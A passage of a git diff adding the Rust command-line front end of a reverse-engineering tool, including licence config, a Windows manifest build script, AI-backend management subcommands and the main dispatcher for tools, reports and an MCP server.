+{{/each}} + + diff --git a/desktop/about.toml b/desktop/about.toml new file mode 100644 index 0000000..2a8b24a --- /dev/null +++ b/desktop/about.toml @@ -0,0 +1,23 @@ +# cargo-about config: builds the third-party licence bundle shipped with releases. +# cargo about generate about.hbs -o THIRD-PARTY-LICENSES.html +# Keep `accepted` in step with deny.toml (policy: docs/licences.md). +accepted = [ + "MIT", + "Apache-2.0", + "Apache-2.0 WITH LLVM-exception", + "BSD-2-Clause", + "BSD-3-Clause", + "ISC", + "Zlib", + "0BSD", + "Unicode-3.0", + "BSL-1.0", + "CDLA-Permissive-2.0", + "OFL-1.1", + "Ubuntu-font-1.0", + "MPL-2.0", # only option-ext; deny.toml enforces that +] +# Bundle only what ships: skip dev-dependencies and build tooling crates. +ignore-dev-dependencies = true +ignore-build-dependencies = false +workarounds = ["ring"] diff --git a/desktop/apps/craft-anything-cli/Cargo.toml b/desktop/apps/craft-anything-cli/Cargo.toml new file mode 100644 index 0000000..e4c8140 --- /dev/null +++ b/desktop/apps/craft-anything-cli/Cargo.toml @@ -0,0 +1,34 @@ +[package] +name = "craft-anything-cli" +description = "Craft Anything on the command line: every tool, the MCP server, setup and doctor" +version.workspace = true +edition.workspace = true +license.workspace = true +publish = false + +[lints] +workspace = true + +[dependencies] +craft-anything-engine = { workspace = true } +craft-anything-engines = { workspace = true } +craft-anything-evidence = { workspace = true } +craft-anything-platform = { workspace = true } +craft-anything-mcp = { workspace = true } +craft-anything-ai = { workspace = true } +craft-anything-setup = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +log = { workspace = true } +clap = { version = "4", features = ["derive"] } +ctrlc = { version = "3", features = ["termination"] } + +[features] +wasm-plugins = ["craft-anything-engine/wasm-plugins"] + +[dev-dependencies] +tempfile = "3" + +[build-dependencies] +# The DPI-aware manifest for craft-anything-cli.exe; build.rs only uses it when targeting Windows. +winresource = "0.1" diff --git a/desktop/apps/craft-anything-cli/build.rs b/desktop/apps/craft-anything-cli/build.rs new file mode 100644 index 0000000..613f617 --- /dev/null +++ b/desktop/apps/craft-anything-cli/build.rs @@ -0,0 +1,30 @@ +//! Windows only: mark `craft-anything-cli.exe` DPI-aware (an application manifest), so window +//! pictures (`native_window_capture`) and screen coordinates are in real pixels at any display +//! scaling. On every other target this does nothing. A missing resource compiler is a warning, +//! unless `CRAFT_ANYTHING_REQUIRE_WINRES=1` (the release workflow) makes it an error. + +const MANIFEST: &str = r#" + + + true/pm + PerMonitorV2 + + +"#; + +fn main() { + println!("cargo:rerun-if-changed=build.rs"); + println!("cargo:rerun-if-env-changed=CRAFT_ANYTHING_REQUIRE_WINRES"); + if std::env::var("CARGO_CFG_TARGET_OS").as_deref() != Ok("windows") { + return; + } + let mut res = winresource::WindowsResource::new(); + res.set_manifest(MANIFEST).set("OriginalFilename", "craft-anything-cli.exe").set("InternalName", "craft-anything-cli"); + if let Err(e) = res.compile() { + if std::env::var_os("CRAFT_ANYTHING_REQUIRE_WINRES").is_some() { + println!("cargo::error=embedding Windows resources failed: {e}"); + return; + } + println!("cargo:warning=craft-anything-cli.exe built without its DPI-aware manifest: {e}"); + } +} diff --git a/desktop/apps/craft-anything-cli/src/ai_cmd.rs b/desktop/apps/craft-anything-cli/src/ai_cmd.rs new file mode 100644 index 0000000..9e419e8 --- /dev/null +++ b/desktop/apps/craft-anything-cli/src/ai_cmd.rs @@ -0,0 +1,386 @@ +//! `chat` and `ai list|detect|add|test`. + +use crate::output::Format; +use crate::{Cli, INTERRUPTED, emit, fail, make_engine, out}; +use clap::{Args, Subcommand}; +use craft_anything_ai::{AgentEvent, AiHub, BackendConfig, BackendKind, Effort}; +use craft_anything_evidence::ToolError; +use serde_json::{Value, json}; +use std::io::{Read as _, Write as _}; +use std::sync::atomic::Ordering; +use std::time::Duration; + +#[derive(Debug, Args)] +pub struct ChatArgs { + /// The question. + pub question: String, + /// File, app or folder to open first. + #[arg(long)] + pub target: Option, + /// Backend name (default: the lead backend). + #[arg(long)] + pub backend: Option, + /// Plain-words answers. + #[arg(long)] + pub beginner: bool, +} + +#[derive(Debug, Subcommand)] +pub enum AiCommand { + /// Complete browser sign-in using the official installed CLI (codex or antigravity). + Login { agent: String }, + /// Configured backends. + List, + /// Look for keys, local servers, agent CLIs and SSH hosts. + Detect, + /// Add a backend. + Add { + name: String, + /// anthropic, openai, openrouter, openai_compatible, agent_cli + #[arg(long)] + kind: String, + #[arg(long)] + model: Option, + #[arg(long)] + base_url: Option, + #[arg(long)] + ssh_host: Option, + /// Read the API key from this environment variable (keys are never taken on the command line). + #[arg(long)] + key_env: Option, + /// Read the API key from stdin. + #[arg(long)] + key_stdin: bool, + }, + /// Remove a backend. + Remove { name: String }, + /// Turn a backend on again. + On { name: String }, + /// Turn a backend off: nothing uses it, and it keeps its settings and key. + Off { name: String }, + /// Set the program an agent app runs, when it's installed where it isn't found (leave the + /// path out to find it by its usual name again). + Program { name: String, path: Option }, + /// Set the model an AI uses (Claude Code: the model it's asked for); leave it out to list the + /// ones it can use. + Model { name: String, model: Option }, + /// Set how hard a Claude backend thinks (the Claude API or Claude Code): low, medium, high, + /// xhigh or max, or `default` for the usual level; leave it out to see the level and choices. + Effort { name: String, level: Option }, + /// Send a tiny request and report latency. + Test { name: String }, + /// Choose the backend that builds (leave the name out to go back to automatic). + Builder { name: Option }, + /// Choose the backend that takes a game's own files out after the study, in Deep mode (an API + /// backend such as Kimi K3 through OpenRouter; leave the name out to turn it off). + Extractor { name: Option }, +} + +fn hub(cli: &Cli) -> Result { + Ok(AiHub::new(make_engine(cli.project.as_deref(), cli.deep_for_run())?)) +} + +fn write_raw(s: &str) { + let mut o = std::io::stdout().lock(); + let _ = o.write_all(s.as_bytes()).and_then(|_| o.flush()); +} + +/// Headless agent run: stream the answer to stdout, tool activity to stderr. +pub fn chat(cli: &Cli, a: &ChatArgs) -> u8 { + let hub = match hub(cli) { + Ok(h) => h, + Err(e) => return fail(&e, cli.format()), + }; + if let Some(t) = &a.target { + let abs = match std::path::absolute(t) { + Ok(p) => p, + Err(e) => return fail(&ToolError::io(t, e), cli.format()), + }; + if let Err(e) = hub.engine.call("core_target_open", json!({"path": abs}), crate::call_options(cli, &Default::default())) { + return fail(&e, cli.format()); + } + } + let mut conv = match hub.start(a.backend.as_deref(), a.beginner) { + Ok(c) => c, + Err(e) => return fail(&e, cli.format()), + }; + conv.send(&a.question); + let jsonl = cli.format() == Format::Jsonl; + let mut code = 0u8; + let mut stopped = false; + loop { + if INTERRUPTED.load(Ordering::SeqCst) && !stopped { + conv.stop(); + stopped = true; + } + let events = conv.poll(); + if events.is_empty() { + if stopped && !conv.is_busy() { + break; + } + std::thread::sleep(Duration::from_millis(15)); + continue; + } + let mut done = false; + for ev in events { + if jsonl { + out(&serde_json::to_string(&ev).unwrap_or_default()); + } + match &ev { + AgentEvent::TextDelta { text } if !jsonl => write_raw(text), + AgentEvent::Status { text } if !jsonl => eprintln!("· {text}"), + AgentEvent::ToolStarted { tool, .. } if !jsonl => eprintln!("→ {tool}"), + AgentEvent::ToolFinished { tool, ok, summary, evidence_id, .. } if !jsonl => { + let ev = evidence_id.as_deref().map(|e| format!(" [{e}]")).unwrap_or_default(); + eprintln!("{} {tool}: {summary}{ev}", if *ok { "✓" } else { "✗" }); + } + AgentEvent::ConsentNeeded { call_id, title, explanation, .. } => { + if !jsonl { + eprintln!( + "! {title} needs your OK: {explanation} ({})", + if cli.allow_run { "allowed by --allow-run" } else { "declined; re-run with --allow-run to allow" } + ); + } + conv.answer_consent(call_id, cli.allow_run); + } + AgentEvent::Error { message, remediation, log } => { + code = 1; + if !jsonl { + eprintln!("error: {message}"); + if let Some(r) = remediation { + eprintln!("fix: {r}"); + } + if let Some(l) = log { + eprintln!("log: {}", l.display()); + } + } + } + AgentEvent::TurnDone { backend, input_tokens, output_tokens, cost_usd, cost_is_estimate } => { + if !jsonl { + let cost = cost_usd + .map(|c| if *cost_is_estimate { format!(", about ${c:.4} at API prices (an estimate, not a bill)") } else { format!(", ${c:.4}") }) + .unwrap_or_default(); + write_raw("\n"); + eprintln!("[{backend}: {input_tokens} in / {output_tokens} out{cost}]"); + } + done = true; + } + _ => {} + } + } + if done { + break; + } + } + if stopped { 130 } else { code } +} + +fn read_key(key_env: &Option, key_stdin: bool) -> Result, String> { + if let Some(var) = key_env { + return std::env::var(var).map(Some).map_err(|_| format!("environment variable {var} is not set")); + } + if key_stdin { + let mut s = String::new(); + std::io::stdin().take(64 * 1024).read_to_string(&mut s).map_err(|e| format!("reading the key from stdin: {e}"))?; + let k = s.trim().to_string(); + return if k.is_empty() { Err("no key on stdin".into()) } else { Ok(Some(k)) }; + } + Ok(None) +} + +pub fn ai(cli: &Cli, c: &AiCommand, f: Format) -> u8 { + let hub = match hub(cli) { + Ok(h) => h, + Err(e) => return fail(&e, f), + }; + match c { + AiCommand::Login { agent } => { + let cancel = craft_anything_engine::CancelToken::default(); + let done = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)); + let watch_done = done.clone(); + let watch_cancel = cancel.clone(); + let watcher = std::thread::spawn(move || { + while !watch_done.load(Ordering::Relaxed) { + if INTERRUPTED.load(Ordering::Relaxed) { + watch_cancel.cancel(); + break; + } + std::thread::sleep(Duration::from_millis(50)); + } + }); + let result = craft_anything_ai::connections::login(agent, cancel); + done.store(true, Ordering::Relaxed); + let _ = watcher.join(); + match result { + Ok(()) => { + emit(&json!({"agent": agent, "login_completed": true, "credentials": "owned by official CLI"}), f); + 0 + } + Err(e) => fail(&e, f), + } + } + AiCommand::List => { + let v: Vec = hub + .backends() + .into_iter() + .map(|b| { + let has_key = hub.has_key(&b.name); + let mut v = serde_json::to_value(&b).unwrap_or(Value::Null); + if let Some(m) = v.as_object_mut() { + m.insert("key_stored".into(), json!(has_key)); + } + v + }) + .collect(); + emit(&Value::Array(v), f); + 0 + } + AiCommand::Detect => { + emit(&serde_json::to_value(hub.detect()).unwrap_or(Value::Null), f); + 0 + } + AiCommand::Add { name, kind, model, base_url, ssh_host, key_env, key_stdin } => { + let kind: BackendKind = match serde_json::from_value(json!(kind)) { + Ok(k) => k, + Err(_) => return crate::usage_error("--kind must be one of anthropic, openai, openrouter, openai_compatible, agent_cli"), + }; + let key = match read_key(key_env, *key_stdin) { + Ok(k) => k, + Err(m) => return crate::usage_error(&m), + }; + // A server by its address with no model named: asked for its models, and one that can chat is used. + if let (BackendKind::OpenaiCompatible, Some(address), None) = (kind, base_url, model) { + return match hub.add_server(name, address, None, key) { + Ok(model) => { + emit(&json!({"added": {"name": name, "kind": kind, "model": model, "base_url": address}}), f); + 0 + } + Err(e) => fail(&e, f), + }; + } + let model = model.clone().or_else(|| kind.suggested_models().first().map(|m| m.to_string())).unwrap_or_default(); + let cfg = BackendConfig { name: name.clone(), kind, model, base_url: base_url.clone(), ssh_host: ssh_host.clone(), enabled: true }; + match hub.add_backend(cfg.clone(), key) { + Ok(()) => { + emit(&json!({"added": cfg}), f); + 0 + } + Err(e) => fail(&e, f), + } + } + AiCommand::Remove { name } => match hub.remove_backend(name) { + Ok(removed) => { + emit(&json!({"removed": removed, "name": name}), f); + if removed { 0 } else { 1 } + } + Err(e) => fail(&e, f), + }, + AiCommand::On { name } | AiCommand::Off { name } => { + let on = matches!(c, AiCommand::On { .. }); + match hub.set_enabled(name, on) { + Ok(found) => { + emit(&json!({"name": name, "enabled": on, "found": found}), f); + if found { 0 } else { 1 } + } + Err(e) => fail(&e, f), + } + } + AiCommand::Model { name, model: None } => match hub.model_choices(name) { + Ok(models) => { + emit(&json!({"name": name, "models": models}), f); + 0 + } + Err(e) => fail(&e, f), + }, + AiCommand::Model { name, model: Some(model) } => match hub.set_model(name, model) { + Ok(found) => { + emit(&json!({"name": name, "model": model.trim(), "found": found}), f); + if found { 0 } else { 1 } + } + Err(e) => fail(&e, f), + }, + AiCommand::Effort { name, level: None } => { + let Some(b) = hub.backends().into_iter().find(|b| b.name == *name) else { + return fail(&ToolError::invalid(format!("No AI backend named {name:?}")).with_remediation("See `craft-anything-cli ai list`."), f); + }; + let options = hub.options(); + match craft_anything_ai::effort_in_use(&b, options.get(name)) { + Some(effort) => { + let levels: Vec<&str> = Effort::ALL.iter().map(|e| e.as_str()).collect(); + emit(&json!({"name": name, "effort": effort.as_str(), "levels": levels}), f); + 0 + } + None => fail( + &ToolError::invalid(format!("{name} doesn't take an effort level.")).with_remediation("Effort is for the Claude API and Claude Code."), + f, + ), + } + } + AiCommand::Effort { name, level: Some(level) } => { + let effort = match level.trim() { + "default" => None, + l => match Effort::parse(l) { + Some(e) => Some(e), + None => { + let e = ToolError::invalid(format!("{l:?} isn't an effort level.")).with_remediation("Use low, medium, high, xhigh, max or default."); + return fail(&e, f); + } + }, + }; + match hub.set_effort(name, effort) { + Ok(found) => { + emit(&json!({"name": name, "effort": effort.map(Effort::as_str), "found": found}), f); + if found { 0 } else { 1 } + } + Err(e) => fail(&e, f), + } + } + AiCommand::Program { name, path } => match hub.set_command(name, path.as_deref()) { + Ok(found) => { + emit(&json!({"name": name, "program": path, "found": found}), f); + if found { 0 } else { 1 } + } + Err(e) => fail(&e, f), + }, + AiCommand::Builder { name } => match hub.set_role(craft_anything_ai::Role::Builder, name.as_deref()) { + Ok(()) => { + emit(&json!({"builder": name}), f); + 0 + } + Err(e) => fail(&e, f), + }, + AiCommand::Extractor { name } => match hub.set_role(craft_anything_ai::Role::Extractor, name.as_deref()) { + Ok(()) => { + emit(&json!({"extractor": name}), f); + 0 + } + Err(e) => fail(&e, f), + }, + AiCommand::Test { name } => match hub.test_backend(name) { + Ok(r) => { + emit(&serde_json::to_value(r).unwrap_or(Value::Null), f); + 0 + } + Err(e) => fail(&e, f), + }, + } +} + +/// AI reachability checks for `doctor` (bounded; each configured backend once). +pub fn doctor_checks() -> Vec { + use craft_anything_setup::{Check, CheckStatus}; + let Ok(engine) = make_engine(None, None) else { return Vec::new() }; + let hub = AiHub::new(engine); + let results = hub.check_reachability(); + if results.is_empty() { + return vec![Check::new("ai", CheckStatus::Info, "No AI backend is set up (optional).").fix("Run `craft-anything-cli ai detect`, then `ai add`.")]; + } + results + .into_iter() + .map(|(name, r)| match r { + Ok(ms) => Check::new(format!("ai:{name}"), CheckStatus::Ok, format!("{name} answered in {ms} ms.")), + Err(why) => Check::new(format!("ai:{name}"), CheckStatus::Warn, format!("{name} isn't reachable: {why}")) + .fix(format!("Run `craft-anything-cli ai test {name}` for details.")), + }) + .collect() +} diff --git a/desktop/apps/craft-anything-cli/src/main.rs b/desktop/apps/craft-anything-cli/src/main.rs new file mode 100644 index 0000000..90fc278 --- /dev/null +++ b/desktop/apps/craft-anything-cli/src/main.rs @@ -0,0 +1,527 @@ +//! `craft-anything-cli`: every tool as a subcommand, the MCP server, setup, doctor and headless chat. +//! +//! Exit codes: 0 success, 1 the operation failed (a structured error is printed), 2 usage error, +//! 130 interrupted. +#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] + +mod ai_cmd; +mod output; +mod rebuild_cmd; +mod setup_cmd; +mod tool_args; + +use clap::{Parser, Subcommand}; +use craft_anything_engine::project::{Project, Purpose}; +use craft_anything_engine::{CallOptions, Caller, CancelToken, Consent, Engine, Requires, Session, Settings, ToolOutput}; +use craft_anything_evidence::ToolError; +use output::Format; +use serde_json::{Value, json}; +use std::path::{Path, PathBuf}; +use std::process::ExitCode; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +pub static INTERRUPTED: AtomicBool = AtomicBool::new(false); + +#[derive(Debug, Parser)] +#[command(name = "craft-anything-cli", version, about = "REI Reverse Engineer on the command line: every tool, the MCP server, setup and doctor.")] +#[command(after_help = "Every tool is also a subcommand: `craft-anything-cli commands` lists them, `craft-anything-cli --help` shows its options.\n\ +When a tool has its own --format option (core-target-open, ...), --format after the tool name goes to the tool; pick the output with --output-format (or --format before the tool name). `report` has no format option of its own: use `report --html` for HTML.")] +pub struct Cli { + /// Output format. `--output-format` always means this, even after a tool that has its own `--format`. + #[arg(long, global = true, value_enum, default_value_t = Format::Json, alias = "output-format")] + pub format: Format, + /// Shorthand for --format json. + #[arg(long, global = true)] + pub json: bool, + /// A project folder (`*.cany`): evidence, memory and the journal are kept there. Created if missing. + #[arg(long, global = true)] + pub project: Option, + /// Allow tools that run code or change a device without asking. + #[arg(long, global = true)] + pub allow_run: bool, + /// Deep mode for this run only: tools may read a target's code, files and page source. + #[arg(long, global = true, conflicts_with = "clean_room")] + pub deep: bool, + /// Clean room for this run only, whatever Settings say: nothing inside a target is read. + #[arg(long, global = true)] + pub clean_room: bool, + #[command(subcommand)] + pub command: Command, +} + +#[derive(Debug, Subcommand)] +pub enum Command { + /// Run the MCP server on stdin/stdout. + Mcp { + /// List every tool instead of the Essentials plus enabled toolsets. + #[arg(long)] + all_tools: bool, + /// A folder where questions and approvals for the person are posted (`core_person_ask`, + /// `core_action_approve`); the REI Reverse Engineer app answers them. + #[arg(long)] + inbox: Option, + }, + /// Connect REI Reverse Engineer to your coding-agent apps. + Setup(setup_cmd::SetupArgs), + /// Check the install, registrations, engines, AI backends and the MCP server. + Doctor(setup_cmd::DoctorArgs), + /// Remove REI Reverse Engineer's registrations and skill from agent apps. + Uninstall(setup_cmd::UninstallArgs), + /// List every tool. + Commands, + /// What this install can do: toolsets, tool availability, engines. + Capabilities, + /// Open a file and run a first look at it. + Triage { path: String }, + /// Write a readable investigation report (Markdown or HTML) from findings and evidence. + Report { + /// Optional target to open first (its sha256 ties evidence to a file). Omit to report on + /// the open project's memory and ledger. + path: Option, + /// Write a self-contained HTML page instead of Markdown. + #[arg(long)] + html: bool, + /// Write to this file instead of printing to stdout. + #[arg(long)] + out: Option, + /// Leave out the evidence-ledger appendix. + #[arg(long)] + no_evidence: bool, + }, + /// Ask the AI agent a question about a target (streams to stdout). + Chat(ai_cmd::ChatArgs), + /// Study a website, app or game and have a coding agent rebuild it in a new project folder. + Rebuild(rebuild_cmd::RebuildArgs), + /// Manage AI backends. + Ai { + #[command(subcommand)] + command: ai_cmd::AiCommand, + }, + /// For a coding agent's hook, run after each of its tool calls: hand over the notes the person + /// added while it works (printed as the hook's JSON; nothing when none wait). + #[command(hide = true)] + BuilderNotes { dir: PathBuf }, + /// Run a tool by name: `craft-anything-cli [path] [--key value] [--json '{..}' | @file.json | -]`. + #[command(external_subcommand)] + Tool(Vec), +} + +impl Cli { + pub fn format(&self) -> Format { + if self.json { Format::Json } else { self.format } + } + + /// The mode `--deep` or `--clean-room` asks for, if either. + pub fn deep_for_run(&self) -> Option { + (self.deep || self.clean_room).then_some(self.deep) + } +} + +fn main() -> ExitCode { + init_logging(); + let _ = ctrlc::set_handler(|| { + if INTERRUPTED.swap(true, Ordering::SeqCst) { + // second Ctrl-C: leave now + std::process::exit(130); + } + }); + let cli = match Cli::try_parse() { + Ok(c) => c, + Err(e) => { + let code = if e.use_stderr() { 2 } else { 0 }; + let _ = e.print(); + return ExitCode::from(code); + } + }; + let code = run(cli); + if INTERRUPTED.load(Ordering::SeqCst) { ExitCode::from(130) } else { ExitCode::from(code) } +} + +fn init_logging() { + struct Stderr(log::LevelFilter); + impl log::Log for Stderr { + fn enabled(&self, m: &log::Metadata<'_>) -> bool { + m.level() <= self.0 + } + fn log(&self, r: &log::Record<'_>) { + if self.enabled(r.metadata()) { + eprintln!("[{}] {}: {}", r.level(), r.target(), r.args()); + } + } + fn flush(&self) {} + } + let level = match std::env::var("CRAFT_ANYTHING_LOG").unwrap_or_default().to_ascii_lowercase().as_str() { + "trace" => log::LevelFilter::Trace, + "debug" => log::LevelFilter::Debug, + "info" => log::LevelFilter::Info, + "warn" => log::LevelFilter::Warn, + "error" => log::LevelFilter::Error, + _ => log::LevelFilter::Off, + }; + if level != log::LevelFilter::Off && log::set_logger(Box::leak(Box::new(Stderr(level)))).is_ok() { + log::set_max_level(level); + } +} + +/// Print a line to stdout; a closed pipe (`| head`) is not an error worth crashing over. +pub fn out(s: &str) { + use std::io::Write as _; + let mut o = std::io::stdout().lock(); + let _ = o.write_all(s.as_bytes()).and_then(|_| o.write_all(b"\n")).and_then(|_| o.flush()); +} + +/// Print a value in the chosen format. +pub fn emit(v: &Value, f: Format) { + out(&output::render(v, f)); +} + +/// Print an error (to stdout as structured output, so scripts can parse it) and return exit code 1. +pub fn fail(e: &ToolError, f: Format) -> u8 { + emit(&json!({"error": e}), f); + 1 +} + +pub fn usage_error(msg: &str) -> u8 { + usage(msg) +} + +fn usage(msg: &str) -> u8 { + eprintln!("error: {msg}"); + 2 +} + +/// The engine with settings loaded, the run's mode, and the project (if any) opened. +pub fn make_engine(project: Option<&Path>, deep_for_run: Option) -> Result, ToolError> { + craft_anything_platform::sync::start_watchdog(craft_anything_engine::settings::config_dir().join("logs")); + let mut session = Session::new(Settings::load()); + session.deep_for_run = deep_for_run; + if let Some(dir) = project { + session.open_project(open_or_create_project(dir)?)?; + } + let plugins = craft_anything_engine::plugins::install(&mut session); + let mut layer_tools = craft_anything_ai::tools(); + layer_tools.extend(craft_anything_setup::tools::specs()); + Ok(Engine::shared_with(session, layer_tools, plugins)) +} + +fn open_or_create_project(dir: &Path) -> Result { + let dir = std::path::absolute(dir).map_err(|e| ToolError::io(dir.display(), e))?; + if dir.join("project.toml").is_file() { + return Project::open(&dir); + } + let name = dir.file_stem().map(|s| s.to_string_lossy().into_owned()).unwrap_or_else(|| "project".into()); + Project::create(&dir, &name, Purpose::default()) +} + +pub fn call_options(cli: &Cli, cancel: &CancelToken) -> CallOptions<'static> { + let consent = if cli.allow_run { Consent::Granted } else { Consent::NotAsked }; + CallOptions::new(Caller::Cli).with_consent(consent).with_cancel(cancel.clone()) +} + +/// A cancel token that trips on Ctrl-C. +pub fn interrupt_token() -> CancelToken { + let token = CancelToken::default(); + let t = token.clone(); + let _ = std::thread::Builder::new().name("ctrl-c-watch".into()).spawn(move || { + while !INTERRUPTED.load(Ordering::SeqCst) { + std::thread::sleep(std::time::Duration::from_millis(50)); + } + t.cancel(); + }); + token +} + +fn run(cli: Cli) -> u8 { + let f = cli.format(); + match &cli.command { + // Runs after every tool call of a builder: no engine, nothing but the hook's JSON on stdout. + Command::BuilderNotes { dir } => { + use craft_anything_ai::rebuild::notes; + if let Some(out) = notes::hook_output(¬es::claim(dir)) { + println!("{out}"); + } + 0 + } + Command::Mcp { all_tools, inbox } => { + let engine = match make_engine(cli.project.as_deref(), cli.deep_for_run()) { + Ok(e) => e, + Err(e) => { + eprintln!("craft-anything mcp: {}", e.message); + return 1; + } + }; + if let Some(dir) = inbox { + engine.session().ext.insert(Arc::new(craft_anything_engine::inbox::InboxDir(dir.clone()))); + // A builder can generate game assets with the person's keys (one per asset + // provider), read here from the keychain so none appears on a command line or in + // a log. + let providers = engine.session().ext.get::().map(|p| p.as_ref().clone()).unwrap_or_default(); + let keys = craft_anything_ai::keys::asset_keys(&craft_anything_ai::KeyStore::system(), &providers); + engine.session().ext.insert(Arc::new(keys)); + } + let mut opts = craft_anything_mcp::ServerOptions::from_env(); + opts.all_tools |= *all_tools; + opts.allow_run = cli.allow_run; + match craft_anything_mcp::serve_stdio(engine, opts) { + Ok(()) => 0, + Err(e) => { + eprintln!("craft-anything mcp: {e}"); + 1 + } + } + } + Command::Setup(a) => setup_cmd::setup(a, f), + Command::Doctor(a) => setup_cmd::doctor(a, f), + Command::Uninstall(a) => setup_cmd::uninstall(a, f), + Command::Commands => commands(f), + Command::Capabilities => capabilities(&cli, f), + Command::Triage { path } => triage(&cli, path, f), + Command::Report { path, html, out, no_evidence } => { + report(&cli, path.as_deref(), if *html { "html" } else { "markdown" }, out.as_deref(), *no_evidence, f) + } + Command::Chat(a) => ai_cmd::chat(&cli, a), + Command::Rebuild(a) => rebuild_cmd::rebuild(&cli, a), + Command::Ai { command } => ai_cmd::ai(&cli, command, f), + Command::Tool(args) => tool(&cli, args, f), + } +} + +fn commands(f: Format) -> u8 { + // The same engine every command gets: settings, the AI layer's tools and plugins. + let engine = match make_engine(None, None) { + Ok(e) => e, + Err(e) => return fail(&e, f), + }; + if f == Format::Json || f == Format::Jsonl { + let v: Vec = engine + .registry() + .all() + .iter() + .map(|s| json!({"command": s.cli_name(), "tool": s.id, "toolset": s.toolset.id(), "title": s.title, "summary": s.summary, "needs_target": s.requires == Requires::Target})) + .collect(); + emit(&Value::Array(v), f); + } else { + for t in engine.registry().toolsets() { + let specs: Vec<_> = engine.registry().in_toolset(t).collect(); + if specs.is_empty() { + continue; + } + out(&format!("{}:", t.title())); + for s in specs { + out(&format!(" {:<34} {}", s.cli_name(), s.title)); + } + } + } + 0 +} + +fn capabilities(cli: &Cli, f: Format) -> u8 { + let engine = match make_engine(cli.project.as_deref(), cli.deep_for_run()) { + Ok(e) => e, + Err(e) => return fail(&e, f), + }; + let session = engine.session(); + let toolsets: Vec = engine + .registry() + .toolsets() + .iter() + .map(|t| { + let tools: Vec = engine + .registry() + .in_toolset(*t) + .map(|s| { + let a = engine.availability(s, &session); + // Before anything is open a target tool is still offered (needs_target says what + // it waits for), but not one the mode refuses (#249). + let refused = session.clean_room() && !craft_anything_engine::clean_room::allows(s.id); + let waived = s.requires == Requires::Target && !refused; + json!({"tool": s.id, "available": a.available || waived, "needs_target": s.requires == Requires::Target, "reason": if waived { None } else { a.reason }}) + }) + .collect(); + json!({"id": t.id(), "title": t.title(), "tools": tools}) + }) + .collect(); + let engines: Vec = craft_anything_engines::ENGINES + .iter() + .map(|e| { + let found = session.settings.engine_path(e.id); + json!({"id": e.id, "name": e.name, "needed_for": e.needed_for, "found": found.is_some(), "path": found, "installable_here": e.host_pin().is_some()}) + }) + .collect(); + emit( + &json!({ + "version": env!("CARGO_PKG_VERSION"), + "analysis_mode": if session.clean_room() { "clean-room" } else { "deep" }, + "tools": engine.registry().len(), + "toolsets": toolsets, + "engines": engines, + "host": craft_anything_evidence::host_triple(), + }), + f, + ); + 0 +} + +/// open → op → close for one target. `open` carries extra `core_target_open` params (raw-binary +/// architecture and entry point, a forced format, a Deep language pin). +fn with_target( + engine: &Engine, + cli: &Cli, + cancel: &CancelToken, + path: &str, + open: &serde_json::Map, + op: impl FnOnce() -> Result, +) -> Result { + let abs = std::path::absolute(path).map_err(|e| ToolError::io(path, e))?; + let mut params = open.clone(); + params.insert("path".into(), json!(abs)); + engine.call("core_target_open", Value::Object(params), call_options(cli, cancel))?; + let out = op(); + let _ = engine.call("core_target_close", json!({}), call_options(cli, cancel)); + out +} + +fn triage(cli: &Cli, path: &str, f: Format) -> u8 { + let engine = match make_engine(cli.project.as_deref(), cli.deep_for_run()) { + Ok(e) => e, + Err(e) => return fail(&e, f), + }; + let cancel = interrupt_token(); + let tool = ["core_target_triage", "core_overview_show"].into_iter().find(|t| engine.registry().get(t).is_some()); + let r = with_target(&engine, cli, &cancel, path, &Default::default(), || match tool { + Some(t) => engine.call(t, json!({}), call_options(cli, &cancel)), + None => { + let mut v = engine.call("core_session_show", json!({}), call_options(cli, &cancel))?.to_json(); + if let Some(m) = v.as_object_mut() { + m.insert("note".into(), json!("No triage tool is registered in this build yet; showing what was opened.")); + } + Ok(ToolOutput::Value(v)) + } + }); + match r { + Ok(out) => { + emit(&out.to_json(), f); + 0 + } + Err(e) => fail(&e, f), + } +} + +fn report(cli: &Cli, path: Option<&str>, format: &str, out_file: Option<&Path>, no_evidence: bool, f: Format) -> u8 { + let format = format.to_ascii_lowercase(); + if format != "markdown" && format != "html" { + return usage("--format must be markdown or html"); + } + let engine = match make_engine(cli.project.as_deref(), cli.deep_for_run()) { + Ok(e) => e, + Err(e) => return fail(&e, f), + }; + let cancel = interrupt_token(); + // The report tool writes the file itself when given an absolute path; otherwise it returns the + // text and we print it (raw, so the Markdown/HTML is usable directly). + let out_abs = match out_file { + Some(p) => match std::path::absolute(p) { + Ok(a) => Some(a), + Err(e) => return fail(&ToolError::io(p.display(), e), f), + }, + None => None, + }; + let mut params = json!({"format": format, "include_evidence": !no_evidence}); + if let (Some(a), Some(m)) = (&out_abs, params.as_object_mut()) { + m.insert("path".into(), json!(a)); + } + let run = || engine.call("core_report_write", params.clone(), call_options(cli, &cancel)); + let result = match path { + Some(p) => with_target(&engine, cli, &cancel, p, &Default::default(), run), + None => run(), + }; + match result { + Ok(output) => { + let v = output.to_json(); + match (out_abs, v["result"]["report"].as_str()) { + // Printed report: emit the raw text so it can be piped to a file or viewer. + (None, Some(text)) => out(text), + // Wrote a file (or an unexpected shape): show the structured result. + _ => emit(&v, f), + } + 0 + } + Err(e) => fail(&e, f), + } +} + +fn tool(cli: &Cli, args: &[String], f: Format) -> u8 { + let Some((name, rest)) = args.split_first() else { return usage("missing command") }; + // Global flags written after the tool name land here; pick them out. + let mut f = f; + let (mut allow_run, mut deep, mut clean_room) = (cli.allow_run, cli.deep, cli.clean_room); + let mut rest_args = Vec::new(); + let mut it = rest.iter().peekable(); + // `--format` and `--project` are left to tool_args when the tool has an option of that name + // (`project-show --project `); otherwise they're the global flags. + while let Some(a) = it.next() { + match a.as_str() { + "--allow-run" => allow_run = true, + "--deep" => deep = true, + "--clean-room" => clean_room = true, + "--json" if it.peek().is_none_or(|n| !(n.starts_with('{') || n.starts_with('@') || n.as_str() == "-")) => f = Format::Json, + _ => rest_args.push(a.clone()), + } + } + // The engine first (tools from higher layers are only known through it), with the project + // given before the tool name. + if deep && clean_room { + return usage("--deep and --clean-room can't be used together"); + } + let mut cli = Cli { format: f, json: false, project: cli.project.clone(), allow_run, deep, clean_room, command: Command::Commands }; + let mut engine = match make_engine(cli.project.as_deref(), cli.deep_for_run()) { + Ok(e) => e, + Err(e) => return fail(&e, f), + }; + let Some(spec) = engine.registry().get(name).copied() else { 